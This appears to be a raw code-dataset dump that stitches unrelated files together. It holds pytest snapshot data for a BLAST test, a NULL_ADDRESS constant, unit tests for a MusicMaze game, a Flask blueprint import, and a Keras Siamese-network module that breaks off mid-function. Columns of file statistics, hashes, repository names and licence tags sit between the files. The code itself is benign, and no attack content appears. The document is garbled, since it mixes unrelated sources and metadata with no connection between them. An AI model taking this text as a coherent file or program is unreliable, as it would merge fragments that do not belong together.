snapshots['TestBLAST.test_update[uvloop-result1-True-Error-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': True, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-False-None-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': False, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-False-None-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': False, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-False-Error-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': False, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-False-Error-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': False, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['test_remove_nuvs_blast[uvloop] 1'] = [ { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': None, 'index': 5 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') }, { '_id': 'bar', 'results': [ { 'blast': 'bar', 'index': 3 }, { 'blast': 'baz', 'index': 9 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } ]
25.175872
88
0.373015
1,402
17,321
4.514265
0.039943
0.102702
0.165903
0.229104
0.967767
0.967767
0.967767
0.967767
0.961763
0.956707
0
0.078599
0.459385
17,321
687
89
25.212518
0.597287
0.003579
0
0.621005
0
0
0.345909
0.140473
0
0
0
0
0
1
0
false
0
0.003044
0
0.003044
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ef81f40c0b1153c2a5885e54b168715b6c707adb
60
py
Python
relay/constants.py
weilbith/relay
ab1fc05cbb0ce664409a055f18a67255917c6959
[ "MIT" ]
7
2017-07-21T09:13:56.000Z
2019-03-06T05:38:45.000Z
relay/constants.py
weilbith/relay
ab1fc05cbb0ce664409a055f18a67255917c6959
[ "MIT" ]
223
2019-06-28T13:49:09.000Z
2021-10-20T18:04:59.000Z
relay/constants.py
weilbith/relay
ab1fc05cbb0ce664409a055f18a67255917c6959
[ "MIT" ]
5
2019-04-07T14:31:02.000Z
2022-03-08T10:25:42.000Z
NULL_ADDRESS = "0x0000000000000000000000000000000000000000"
30
59
0.9
3
60
17.666667
1
0
0
0
0
0
0
0
0
0
0
0.719298
0.05
60
1
60
60
0.210526
0
0
0
0
0
0.7
0.7
0
0
0.7
0
0
1
0
false
0
0
0
0
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
1
1
null
0
1
0
0
0
0
0
0
0
0
0
0
0
8
efc93256a8560a62ac48a49e4d7ac218c47702f8
13,875
py
Python
tests/unit/model/music_maze/test_mazeState.py
RegaledSeer/MusicMaze
5a60fb23694583cfbfde3d19a0aec5292c5aa9cc
[ "MIT" ]
3
2020-02-04T17:32:08.000Z
2020-03-25T13:52:29.000Z
tests/unit/model/music_maze/test_mazeState.py
RegaledSeer/MusicMaze
5a60fb23694583cfbfde3d19a0aec5292c5aa9cc
[ "MIT" ]
24
2018-11-09T16:58:13.000Z
2018-12-30T18:44:51.000Z
tests/unit/model/music_maze/test_mazeState.py
CookieComputing/MusicMaze
5a60fb23694583cfbfde3d19a0aec5292c5aa9cc
[ "MIT" ]
null
null
null
from unittest import TestCase from model.music_maze.MazeState import MazeState from model.music_maze.MusicMaze import MusicMaze class TestMazeState(TestCase): def test_two_by_two_get_cell(self): m = MazeState(MusicMaze(3, 2, 2)) self.assertCountEqual([(0, 0), (0, 1), (1, 0), (1, 1)], m.get_cells()) def test_three_by_three_get_cell(self): m = MazeState(MusicMaze(5, 3, 3)) self.assertCountEqual([(0, 0), (0, 1), (0, 2), (1, 0), (1, 1), (1, 2), (2, 0), (2, 1), (2, 2)], m.get_cells()) def test_three_by_five_get_cell(self): m = MazeState(MusicMaze(7, 5, 3)) self.assertCountEqual([(0, 0), (0, 1), (0, 2), (0, 3), (0, 4), (1, 0), (1, 1), (1, 2), (1, 3), (1, 4), (2, 0), (2, 1), (2, 2), (2, 3), (2, 4)], m.get_cells()) def test_five_by_three_get_cell(self): m = MazeState(MusicMaze(7, 3, 5)) self.assertCountEqual([(0, 0), (0, 1), (0, 2), (1, 0), (1, 1), (1, 2), (2, 0), (2, 1), (2, 2), (3, 0), (3, 1), (3, 2), (4, 0), (4, 1), (4, 2)], m.get_cells()) def test_two_by_two_player_position(self): m = MazeState(MusicMaze(3, 2, 2)) self.assertEqual((0, 0), m.get_player_position()) def test_three_by_three_player_position(self): model_maze = MusicMaze(5, 3, 3, 1) m_str = "X - O O\n" \ "| |\n" \ "O - O - O\n" \ " | |\n" \ "O - O O" self.assertEqual(m_str, str(model_maze)) m = MazeState(model_maze) model_maze.move_player(1, 0) self.assertEqual((1, 0), m.get_player_position()) model_maze.move_player(1, 1) self.assertEqual((1, 1), m.get_player_position()) model_maze.move_player(1, 2) self.assertEqual((1, 2), m.get_player_position()) model_maze.move_player(1, 1) model_maze.move_player(1, 0) model_maze.move_player(0, 0) self.assertEqual((0, 0), m.get_player_position()) def test_two_by_two_solution_path(self): model_maze = MusicMaze(3, 2, 2, 1) m = MazeState(model_maze) m_str = "X - O\n" \ "| |\n" \ "O O" self.assertEqual(m_str, str(model_maze)) self.assertEqual([(0, 0), (0, 1), (1, 1)], m.get_solution_path()) def test_three_by_three_solution_path(self): model_maze = MusicMaze(5, 3, 3, 1) m = MazeState(model_maze) m_str = "X - O O\n" \ "| |\n" \ "O - O - O\n" \ " | |\n" \ "O - O O" self.assertEqual(m_str, str(model_maze)) self.assertEqual([(0, 0), (1, 0), (1, 1), (1, 2), (2, 2)], m.get_solution_path()) def test_three_by_five_solution_path(self): model_maze = MusicMaze(7, 5, 3, 1) m = MazeState(model_maze) m_str = "O - O O - O - O\n" \ "| | |\n" \ "O - O O - X O\n" \ " | | |\n" \ "O - O - O - O O" self.assertEqual(m_str, str(model_maze)) self.assertEqual([(1, 3), (1, 2), (0, 2), (0, 3), (0, 4), (1, 4), (2, 4)], m.get_solution_path()) def test_five_by_three_solution_path(self): model_maze = MusicMaze(7, 3, 5, 1) m = MazeState(model_maze) m_str = "O - O O\n" \ "| |\n" \ "O - O - O\n" \ "| \n" \ "O - O O\n" \ "| | |\n" \ "O X O\n" \ "| |\n" \ "O - O - O" self.assertEqual(m_str, str(model_maze)) self.assertEqual([(3, 1), (2, 1), (2, 0), (3, 0), (4, 0), (4, 1), (4, 2)], m.get_solution_path()) def test_three_by_three_game_over(self): model_maze = MusicMaze(5, 3, 3, 1) m_str = "X - O O\n" \ "| |\n" \ "O - O - O\n" \ " | |\n" \ "O - O O" self.assertEqual(m_str, str(model_maze)) m = MazeState(model_maze) self.assertFalse(m.game_over()) model_maze.move_player(1, 0) self.assertFalse(m.game_over()) model_maze.move_player(1, 1) self.assertFalse(m.game_over()) model_maze.move_player(1, 2) self.assertFalse(m.game_over()) model_maze.move_player(2, 2) self.assertTrue(m.game_over()) def test_two_by_two_closest_cell(self): model_maze = MusicMaze(3, 2, 2, 1) m_str = "X - O\n" \ "| |\n" \ "O O" self.assertEqual(m_str, str(model_maze)) m = MazeState(model_maze) self.assertEqual((0, 0), m.get_closest_cell_for_player()) model_maze.move_player(1, 0) self.assertEqual((0, 0), m.get_closest_cell_for_player()) model_maze.move_player(0, 0) model_maze.move_player(0, 1) self.assertEqual((0, 1), m.get_closest_cell_for_player()) model_maze.move_player(1, 1) self.assertEqual((1, 1), m.get_closest_cell_for_player()) def test_three_by_three_closest_cell_and_distance(self): model_maze = MusicMaze(5, 3, 3, 1) m_str = "X - O O\n" \ "| |\n" \ "O - O - O\n" \ " | |\n" \ "O - O O" self.assertEqual(m_str, str(model_maze)) m = MazeState(model_maze) self.assertEqual((0, 0), m.get_closest_cell_for_player()) self.assertEqual(0, m.get_closest_cell_distance_for_player()) model_maze.move_player(0, 1) self.assertEqual((0, 0), m.get_closest_cell_for_player()) self.assertEqual(1, m.get_closest_cell_distance_for_player()) model_maze.move_player(0, 0) model_maze.move_player(1, 0) self.assertEqual((1, 0), m.get_closest_cell_for_player()) self.assertEqual(0, m.get_closest_cell_distance_for_player()) model_maze.move_player(1, 1) self.assertEqual((1, 1), m.get_closest_cell_for_player()) self.assertEqual(0, m.get_closest_cell_distance_for_player()) model_maze.move_player(2, 1) self.assertEqual((1, 1), m.get_closest_cell_for_player()) self.assertEqual(1, m.get_closest_cell_distance_for_player()) model_maze.move_player(2, 0) self.assertEqual((1, 1), m.get_closest_cell_for_player()) self.assertEqual(2, m.get_closest_cell_distance_for_player()) model_maze.move_player(2, 1) model_maze.move_player(1, 1) model_maze.move_player(1, 2) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(0, m.get_closest_cell_distance_for_player()) model_maze.move_player(0, 2) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(1, m.get_closest_cell_distance_for_player()) model_maze.move_player(1, 2) model_maze.move_player(2, 2) self.assertEqual((2, 2), m.get_closest_cell_for_player()) self.assertEqual(0, m.get_closest_cell_distance_for_player()) def test_three_by_five_closest_distance_and_cell(self): model_maze = MusicMaze(7, 5, 3, 1) m = MazeState(model_maze) m_str = "O - O O - O - O\n" \ "| | |\n" \ "O - O O - X O\n" \ " | | |\n" \ "O - O - O - O O" self.assertEqual(m_str, str(model_maze)) self.assertEqual((1, 3), m.get_closest_cell_for_player()) self.assertEqual(0, m.get_closest_cell_distance_for_player()) model_maze.move_player(1, 2) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(0, m.get_closest_cell_distance_for_player()) model_maze.move_player(2, 2) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(1, m.get_closest_cell_distance_for_player()) model_maze.move_player(2, 3) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(2, m.get_closest_cell_distance_for_player()) model_maze.move_player(2, 2) model_maze.move_player(2, 1) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(2, m.get_closest_cell_distance_for_player()) model_maze.move_player(2, 0) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(3, m.get_closest_cell_distance_for_player()) model_maze.move_player(2, 1) model_maze.move_player(1, 1) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(3, m.get_closest_cell_distance_for_player()) model_maze.move_player(1, 0) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(4, m.get_closest_cell_distance_for_player()) model_maze.move_player(0, 0) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(5, m.get_closest_cell_distance_for_player()) model_maze.move_player(0, 1) self.assertEqual((1, 2), m.get_closest_cell_for_player()) self.assertEqual(6, m.get_closest_cell_distance_for_player()) def test_five_by_three_closest_distance_and_cell(self): model_maze = MusicMaze(7, 3, 5, 1) m = MazeState(model_maze) m_str = "O - O O\n" \ "| |\n" \ "O - O - O\n" \ "| \n" \ "O - O O\n" \ "| | |\n" \ "O X O\n" \ "| |\n" \ "O - O - O" self.assertEqual(m_str, str(model_maze)) self.assertEqual((3, 1), m.get_closest_cell_for_player()) self.assertEqual(0, m.get_closest_cell_distance_for_player()) model_maze.move_player(2, 1) self.assertEqual((2, 1), m.get_closest_cell_for_player()) self.assertEqual(0, m.get_closest_cell_distance_for_player()) model_maze.move_player(2, 0) self.assertEqual((2, 0), m.get_closest_cell_for_player()) self.assertEqual(0, m.get_closest_cell_distance_for_player()) model_maze.move_player(1, 0) self.assertEqual((2, 0), m.get_closest_cell_for_player()) self.assertEqual(1, m.get_closest_cell_distance_for_player()) model_maze.move_player(0, 0) self.assertEqual((2, 0), m.get_closest_cell_for_player()) self.assertEqual(2, m.get_closest_cell_distance_for_player()) model_maze.move_player(0, 1) self.assertEqual((2, 0), m.get_closest_cell_for_player()) self.assertEqual(3, m.get_closest_cell_distance_for_player()) model_maze.move_player(0, 0) model_maze.move_player(1, 0) model_maze.move_player(1, 1) self.assertEqual((2, 0), m.get_closest_cell_for_player()) self.assertEqual(2, m.get_closest_cell_distance_for_player()) model_maze.move_player(1, 2) self.assertEqual((2, 0), m.get_closest_cell_for_player()) self.assertEqual(3, m.get_closest_cell_distance_for_player()) model_maze.move_player(0, 2) self.assertEqual((2, 0), m.get_closest_cell_for_player()) self.assertEqual(4, m.get_closest_cell_distance_for_player()) def test_get_neighbors_two_by_two(self): model_maze = MusicMaze(3, 2, 2, 1) m_str = "X - O\n" \ "| |\n" \ "O O" self.assertEqual(m_str, str(model_maze)) m = MazeState(model_maze) self.assertCountEqual([(1, 0), (0, 1)], m.get_connected_neighbors(0, 0)) self.assertCountEqual([(0, 0)], m.get_connected_neighbors(1, 0)) self.assertCountEqual([(0, 0), (1, 1)], m.get_connected_neighbors(0, 1)) self.assertCountEqual([(0, 1)], m.get_connected_neighbors(1, 1)) def test_get_neighbors_three_by_five(self): model_maze = MusicMaze(7, 5, 3, 1) m_str = "O - O O - O - O\n" \ "| | |\n" \ "O - O O - X O\n" \ " | | |\n" \ "O - O - O - O O" self.assertEqual(m_str, str(model_maze)) m = MazeState(model_maze) self.assertCountEqual([(0, 1), (1, 0)], m.get_connected_neighbors(0, 0)) self.assertCountEqual([(2, 1)], m.get_connected_neighbors(2, 0)) self.assertCountEqual([(2, 0), (1, 1), (2, 2)], m.get_connected_neighbors(2, 1)) self.assertCountEqual([(0, 2), (1, 3), (2, 2)], m.get_connected_neighbors(1, 2)) self.assertCountEqual([(0, 3), (1, 4)], m.get_connected_neighbors(0, 4)) self.assertCountEqual([(1, 4)], m.get_connected_neighbors(2, 4)) def test_illegal_value_for_maze_neighbors(self): model_maze = MusicMaze(3, 2, 2) m = MazeState(model_maze) try: m.get_connected_neighbors(-1, 0) self.fail("Should not be able to get connected components") except IndexError as e: self.assertEqual("Maze does not contain vertice", str(e))
36.706349
73
0.538955
1,891
13,875
3.652565
0.03596
0.110757
0.095555
0.130303
0.915303
0.889388
0.852903
0.824236
0.780368
0.716954
0
0.047877
0.322595
13,875
378
74
36.706349
0.686988
0
0
0.756014
0
0
0.058879
0
0
0
0
0
0.347079
1
0.061856
false
0
0.010309
0
0.075601
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
efdb6f4dcf59af33752ebf7b70d643dfb8b4dd06
102
py
Python
app/blueprints/sitemaps/__init__.py
Anioko/landingpage_cms
b2d68d28287dd163de7d420b2c20b19050a2326a
[ "MIT" ]
null
null
null
app/blueprints/sitemaps/__init__.py
Anioko/landingpage_cms
b2d68d28287dd163de7d420b2c20b19050a2326a
[ "MIT" ]
null
null
null
app/blueprints/sitemaps/__init__.py
Anioko/landingpage_cms
b2d68d28287dd163de7d420b2c20b19050a2326a
[ "MIT" ]
null
null
null
from app.blueprints.sitemaps.views import sitemaps from app.blueprints.sitemaps import errors # noqa
34
50
0.833333
14
102
6.071429
0.571429
0.164706
0.4
0.588235
0
0
0
0
0
0
0
0
0.107843
102
2
51
51
0.934066
0.039216
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
1
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
1
0
8
effaba798ac369e6897765eea80a3c8b224d303b
45,120
py
Python
gold nanocluster synthesis/own_package/SNN_setup.py
acceleratedmaterials/NUS_workshop
8937111a4f4d252ed76e33897fd4be7d9582a491
[ "MIT" ]
3
2018-11-14T13:13:48.000Z
2022-01-13T16:49:10.000Z
gold nanocluster synthesis/own_package/SNN_setup.py
acceleratedmaterials/NUS_workshop
8937111a4f4d252ed76e33897fd4be7d9582a491
[ "MIT" ]
17
2020-01-28T22:32:32.000Z
2022-03-11T23:33:24.000Z
gold nanocluster synthesis/own_package/SNN_setup.py
acceleratedmaterials/NUS_workshop
8937111a4f4d252ed76e33897fd4be7d9582a491
[ "MIT" ]
10
2018-11-14T13:15:33.000Z
2022-01-13T16:48:57.000Z
import keras.backend as K import tensorflow as tf from keras.models import Sequential, Model, load_model from keras.layers import Dense, Dropout, Convolution2D, Flatten, merge, Input, Lambda, Concatenate from keras import regularizers, optimizers from keras.callbacks import EarlyStopping, ModelCheckpoint from keras.layers.advanced_activations import LeakyReLU from keras.utils import to_categorical import matplotlib.pyplot as plt import numpy as np import numpy.random as rng import pandas as pd from sklearn.metrics import confusion_matrix, log_loss, accuracy_score, f1_score, matthews_corrcoef from sklearn.preprocessing import MinMaxScaler import pickle, time, collections, gc # Own Scripts from .features_labels_setup import Features_labels, read_reaction_data_smiles # NGF from .NGF.models import build_graph_conv_net_fp_only from .NGF.layers import NeuralGraphHidden, NeuralGraphOutput def create_SNN_hparams(hidden_layers=[30], learning_rate=0.001, epochs=100, batch_size=64, pair_size=32, activation='relu', optimizer='Adam', singlenet_l1=0, singlenet_l2=0, reg_term=0, feature_vector_dim=10, dropout=0, fp_length=100, fp_number=3, conv_width=8, conv_number=2, conv_activation='relu', conv_l1=0, conv_l2=0, verbose=1): """ Creates hparam dict for input into create_DNN_model or other similar functions. Contain Hyperparameter info :return: hparam dict """ names = ['hidden_layers', 'learning_rate', 'epochs', 'batch_size', 'pair_size', 'activation', 'optimizer', 'singlenet_l1', 'singlenet_l2', 'reg_term', 'dropout', 'feature_vector_dim', 'fp_length', 'fp_number', 'conv_width', 'conv_number', 'conv_activation', 'conv_l1', 'conv_l2', 'verbose'] values = [hidden_layers, learning_rate, epochs, batch_size, pair_size, activation, optimizer, singlenet_l1, singlenet_l2, reg_term, dropout, feature_vector_dim, fp_length, fp_number, conv_width, conv_number, conv_activation, conv_l1, conv_l2, verbose] hparams = dict(zip(names, values)) return hparams class SNN: def __init__(self, SNN_hparams, fl): self.hparams = SNN_hparams self.features_c_dim = fl.features_c_dim # Second step: Concat features_c and fingerprint vectors ==> form intermediate input vector (IIV) # IIV put into single SNN net # Defining half_model_model half_c = Input(shape=(fl.features_c_dim,)) # singlenet for the SNN. Same weights and biases for top and bottom half of SNN singlenet = Sequential() hidden_layers = self.hparams['hidden_layers'] numel = len(hidden_layers) generator_dropout = self.hparams.get('dropout', 0) singlenet.add(Dense(hidden_layers[0], input_dim=self.features_c_dim, activation=self.hparams['activation'], kernel_regularizer=regularizers.L1L2(l1=self.hparams['singlenet_l1'], l2=self.hparams['singlenet_l2']))) if generator_dropout != 0: singlenet.add(Dropout(generator_dropout)) if numel > 1: if hidden_layers[1] != 0: # Even if hidden layers has 2 elements, 2nd element may be 0 for i in range(numel - 1): singlenet.add(Dense(hidden_layers[i + 1], activation=self.hparams['activation'], kernel_regularizer=regularizers.L1L2(l1=self.hparams['singlenet_l1'], l2=self.hparams['singlenet_l2']))) singlenet.add(Dense(self.hparams.get('feature_vector_dim', 10), activation='sigmoid')) # Output of half_model encoded_half = singlenet(half_c) # Make half_model callable half_model = Model(name='half_model_encoded', input=half_c, output=encoded_half) # All steps together by calling the above models one after another. # fp model ==> half_model ==> L1 distance and final node model lc = Input(name='left_c', shape=(fl.features_c_dim,)) rc = Input(name='right_c', shape=(fl.features_c_dim,)) # Apply half_model to left and right side encoded_l = half_model(lc) encoded_r = half_model(rc) # layer to merge two encoded inputs with the l1 distance between them L1_layer = Lambda(lambda tensors: K.abs(tensors[0] - tensors[1])) # call this layer on list of two input tensors. L1_distance = L1_layer([encoded_l, encoded_r]) prediction = Dense(1, activation='sigmoid')(L1_distance) self.siamese_net = Model(name='final_model', input=[lc,rc], output=prediction) if self.hparams.get('learning_rate', None) is None: self.siamese_net.compile(loss='binary_crossentropy', optimizer=self.hparams['optimizer']) else: sgd = optimizers.Adam(lr=self.hparams['learning_rate']) self.siamese_net.compile(loss='binary_crossentropy', optimizer=sgd) class SNN_backup: def __init__(self, SNN_hparams, fl): self.hparams = SNN_hparams self.features_c_dim = fl.features_c_dim left_input = Input(shape=(self.features_c_dim,)) right_input = Input(shape=(self.features_c_dim,)) encoded_l = self.singlenet()(left_input) encoded_r = self.singlenet()(right_input) # layer to merge two encoded inputs with the l1 distance between them L1_layer = Lambda(lambda tensors: K.abs(tensors[0] - tensors[1])) # call this layer on list of two input tensors. L1_distance = L1_layer([encoded_l, encoded_r]) prediction = Dense(1, activation='sigmoid')(L1_distance) self.siamese_net = Model(input=[left_input, right_input], output=prediction) if self.hparams.get('learning_rate', None) is None: self.siamese_net.compile(loss='binary_crossentropy', optimizer=self.hparams['optimizer']) else: sgd = optimizers.Adam(lr=self.hparams['learning_rate']) self.siamese_net.compile(loss='binary_crossentropy', optimizer=sgd) def singlenet(self): model = Sequential() hidden_layers = self.hparams['hidden_layers'] numel = len(hidden_layers) generator_dropout = self.hparams.get('dropout', 0) model.add(Dense(hidden_layers[0], input_dim=self.features_c_dim, activation=self.hparams['activation'], kernel_regularizer=regularizers.l2(self.hparams['reg_term']))) if generator_dropout != 0: model.add(Dropout(generator_dropout)) if numel > 1: if hidden_layers[1] != 0: # Even if hidden layers has 2 elements, 2nd element may be 0 for i in range(numel - 1): model.add(Dense(hidden_layers[i + 1], activation=self.hparams['activation'], kernel_regularizer=regularizers.l2(self.hparams['reg_term']))) model.add(Dense(self.hparams.get('feature_vector_dim', 10), activation='sigmoid')) return model class Siamese_loader: def __init__(self, model, x_train, SNN_hparams): """ :param model: SNN class model :param x_train: Features_labels class containing training dataset. """ # General attributes if isinstance(model, list): # If model is given as a list, means using eval_ensemble ONLY! self.model_store = model else: self.model = model self.x_train = x_train self.n_classes = x_train.n_classes self.n_examples = x_train.count self.features_c_norm = x_train.features_c_norm self.labels = x_train.labels self.features_c_dim = self.features_c_norm[0][1].shape[1] self.hparams = SNN_hparams def get_batch(self, batch_size): categories = rng.choice(self.n_classes, size=(batch_size,), replace=True) pairs = [np.zeros((batch_size, self.features_c_dim)) for _ in range(2)] targets = np.zeros((batch_size,)) targets[batch_size // 2:] = 1 for i in range(batch_size): category = categories[i] # Set the current category (aka class) for the loop n_examples = self.features_c_norm[category][1].shape[0] # Get no. of examples for current class in the loop idx_1 = rng.randint(0, n_examples) # Choose one example out of the examples in the class # [left_c, left_d, right_c, right_d] pairs[0][i, :] = self.features_c_norm[category][1][idx_1, :] # Class, features, example, all input features if i >= batch_size // 2: category_2 = category else: category_2 = (category + rng.randint(1, self.n_classes)) % self.n_classes # Randomly choose diff class n_examples = self.features_c_norm[category_2][1].shape[0] idx_2 = rng.randint(0, n_examples) pairs[1][i, :] = self.features_c_norm[category_2][1][idx_2, :] return pairs, targets def get_batch1(self, batch_size): categories = rng.choice(self.n_classes, size=(batch_size,), replace=True) pairs = [np.zeros((batch_size, self.features_c_dim)) for _ in range(2)] targets = np.zeros((batch_size,)) targets[batch_size // 2:] = 1 for i in range(batch_size): category = categories[i] # Set the current category (aka class) for the loop n_examples = self.features_c_norm[category][1].shape[0] # Get no. of examples for current class in the loop idx_1 = rng.randint(0, n_examples) # Choose one example out of the examples in the class # [left_c, left_d, right_c, right_d] pairs[0][i, :] = self.features_c_norm[category][1][idx_1, :] # Class, features, example, all input features if i >= batch_size // 2: category_2 = category else: category_2 = (category + rng.randint(1, self.n_classes)) % self.n_classes # Randomly choose diff class n_examples = self.features_c_norm[category_2][1].shape[0] idx_2 = rng.randint(0, n_examples) pairs[1][i, :] = self.features_c_norm[category_2][1][idx_2, :] return pairs, targets def get_batch2(self, batch_size): time1start = time.time() categories = rng.choice(self.n_classes, size=(batch_size,), replace=True) pairs = [[] for _ in range(2)] targets = np.zeros((batch_size,)) targets[batch_size // 2:] = 1 for i in range(batch_size): category = categories[i] # Set the current category (aka class) for the loop n_examples = self.features_c_norm[category][1].shape[0] # Get no. of examples for current class in the loop idx_1 = rng.randint(0, n_examples) # Choose one example out of the examples in the class # [left_c, left_d, right_c, right_d] pairs[0].append( self.features_c_norm[category][1][idx_1, ...]) # Class, features, example, all input features if i >= batch_size // 2: category_2 = category else: category_2 = (category + rng.randint(1, self.n_classes)) % self.n_classes # Randomly choose diff class n_examples = self.features_c_norm[category_2][1].shape[0] idx_2 = rng.randint(0, n_examples) pairs[1].append(self.features_c_norm[category_2][1][idx_2, ...]) time1end = time.time() pairs = [np.array(pair) for pair in pairs] print('Time taken: {0}'.format(time1end - time1start)) return pairs, targets def generate(self, batch_size): """a generator for batches, so model.fit_generator can be used. """ while True: pairs, targets = self.get_batch(batch_size) yield (pairs, targets) def train(self, steps, batch_size, verbose=1, save_mode=False, save_dir='./save/models/', save_name='SNN.h5'): self.model.fit_generator(generator=self.generate(batch_size), steps_per_epoch=batch_size, epochs=steps, verbose=verbose) if save_mode: self.model.save(save_dir + save_name) return self.model def get_oneshot_predict_batch(self, category, x_predict_c_norm): x_category_c_norm = self.features_c_norm[category][1] n_examples_category = x_category_c_norm.shape[0] pairs = [] pairs.append(x_category_c_norm) pairs.append(np.repeat(x_predict_c_norm, n_examples_category, axis=0)) return pairs def oneshot_predict(self, x_predict_c_norm_a, compare_mode=False, print_mode=False): """ :param x_predict: np array of no. examples x features_dim :param compare_mode: compare between predicted and actual labels :return: Confusion matrix """ n_examples_predict = x_predict_c_norm_a.shape[0] model = self.model predicted_class_store = [] for j in range(n_examples_predict): # Looping through all examples # Store the final SNN node output when comparing current example with support set examples predicted_labels_store = [] for i in range(self.n_classes): # For one example, check through all classes pairs = self.get_oneshot_predict_batch(category=i, x_predict_c_norm=x_predict_c_norm_a[np.newaxis, j, :]) # Vector of scores for one example against one class predicted_labels = model.predict(pairs) # Avg score for that one class n_class_example_count = self.features_c_norm[i][1].shape[0] predicted_labels_store.append(np.sum(predicted_labels) / n_class_example_count) # After checking through all classes, select the class with the highest avg score and store it predicted_class_store.append(predicted_labels_store.index(max(predicted_labels_store))) return predicted_class_store def eval(self, eval_fl): eval_start = time.time() x_predict_c_norm_a = eval_fl.features_c_norm_a labels_hot = eval_fl.labels_hot labels = eval_fl.labels n_examples_predict = x_predict_c_norm_a.shape[0] model = self.model predicted_class_store = [] predicted_labels_hot_store = [] for j in range(n_examples_predict): # Looping through all examples # Store the final SNN node output when comparing current example with support set examples predicted_labels_hot = [] for i in range(self.n_classes): # For one example, check through all classes pairs = self.get_oneshot_predict_batch(category=i, x_predict_c_norm=x_predict_c_norm_a[np.newaxis, j, :]) # Vector of scores for one example against one class predicted_labels = model.predict(pairs) # Avg score for that one class n_class_example_count = self.features_c_norm[i][1].shape[0] predicted_labels_hot.append(np.sum(predicted_labels) / n_class_example_count) # After checking through all classes, select the class with the highest avg score and store it predicted_class_store.append(predicted_labels_hot.index(max(predicted_labels_hot))) predicted_labels_hot_store.append(predicted_labels_hot) predicted_labels_hot_store = np.array(predicted_labels_hot_store) acc = accuracy_score(labels, predicted_class_store) ce = log_loss(labels_hot, predicted_labels_hot_store) cm = confusion_matrix(labels, predicted_class_store) try: f1s = f1_score(labels, predicted_class_store) # Will work for binary classification except ValueError: # Multi-class will raise ValueError from sklearn f1_score function f1s = f1_score(labels, predicted_class_store, average='micro') # Must use micro averaging for multi-class mcc = matthews_corrcoef(labels, predicted_class_store) eval_end = time.time() print('eval run time : {}'.format(eval_end - eval_start)) return predicted_class_store, acc, ce, cm, f1s, mcc def eval_ensemble(self, eval_fl): n_examples_predict = eval_fl.count total_model_count = len(self.model_store) ensemble_predicted_class_store = [] ensemble_labels_hot_store = [] for instance, model_path in enumerate(self.model_store): # Stuff to ensure keras can run smoothly due to training multiple model instances in the same script sess = tf.Session() K.set_session(sess) eval_start = time.time() model = load_model(model_path) predicted_class_store = [] predicted_labels_hot_store = [] for j in range(n_examples_predict): # Looping through all examples # Store the final SNN node output when comparing current example with support set examples predicted_labels_hot = [] for i in range(self.n_classes): # For one example, check through all classes pairs = self.get_oneshot_predict_batch(category=i, x_predict_c_norm=eval_fl.features_c_norm_a[np.newaxis, j, :]) # Vector of scores for one example against one class predicted_labels = model.predict(pairs) # Avg score for that one class n_class_example_count = self.features_c_norm[i][1].shape[0] 